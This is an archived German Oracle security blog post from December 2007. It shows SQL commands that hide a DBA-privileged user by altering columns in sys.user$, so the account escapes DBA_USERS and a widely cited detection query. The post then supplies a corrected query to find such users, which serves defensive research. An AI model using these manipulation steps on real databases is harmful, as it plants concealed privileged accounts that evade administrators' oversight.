Infos

Sie befinden sich aktuell in den Alexander Kornbrust Oracle Security Blog dt. Blog-Archiven für den folgenden Tag 24 Dez 2007.

Calendar
Dezember 2007
M D M D F S S
« Nov   Jan »
 12
3456789
10111213141516
17181920212223
24252627282930
31  

Archive für 24 Dez 2007

Unsichtbare Benutzer durch Datenmanipulation

Auf der Deepsec-Konferenz gab David Litchfield eine Präsentation zum Thema “In-Memory Rootkits“.  Beiläufig erwähnte er auch die Möglichkeit, unsichtbare Benutzer durch Modifikation der Tablespacenummer zu erzeugen (”update sys.user$ set datats#=31337 where user#=76“).Um diese unsichtbaren Benutzer zu finden, riet David, das folgende Statement zu verwenden (”SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS“).

————- Tests auf 10.2.0.3 mit Oct 2007 CPU ——————–

– Benutzer U1 mit DBA Rechten erzeugen

SQL> create user u1 identified by u1;

SQL> grant dba to u1;

SQL> select user#, name, datats# from sys.user$;

         0 SYS                                     0

         1 PUBLIC                                  0

        76 U1                                      5

 

– datats# auf einen nicht existierenden Wert setzen

SQL> update sys.user$ set datats#=31337 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

– Vergleich sys.user$ mit dba_users

– Wie eine Suche mit Google zeigt, wird dies von vielen verwendet, um unsichtbare Benutzer zu verwenden 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

– Aber funktioniert dies immer?

 

– Warum nur eine Spalte updaten?

– Wir ändern einfach den type# auf 2 (Neustart der Datenbank ist notwendig) 

SQL> update sys.user$ set type#=2 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

– Wenn wir das vorgeschlagene Statement laufen lassen,

– wird unser User nicht angezeigt. Diesen Fehler haben

– aber alle gemacht (David, Pete, Alex, …) 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

no rows selected

————-

 

– Zum Testen ist es notwendig, die Datenbank zu starten, da ohne Neustart der Datenbank auch type#<0 funktioniert

SQL> conn u1/u1

 

– Deshalb sollte folgendes Statement verwendet werden

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 Frohe Weihnachten.  

|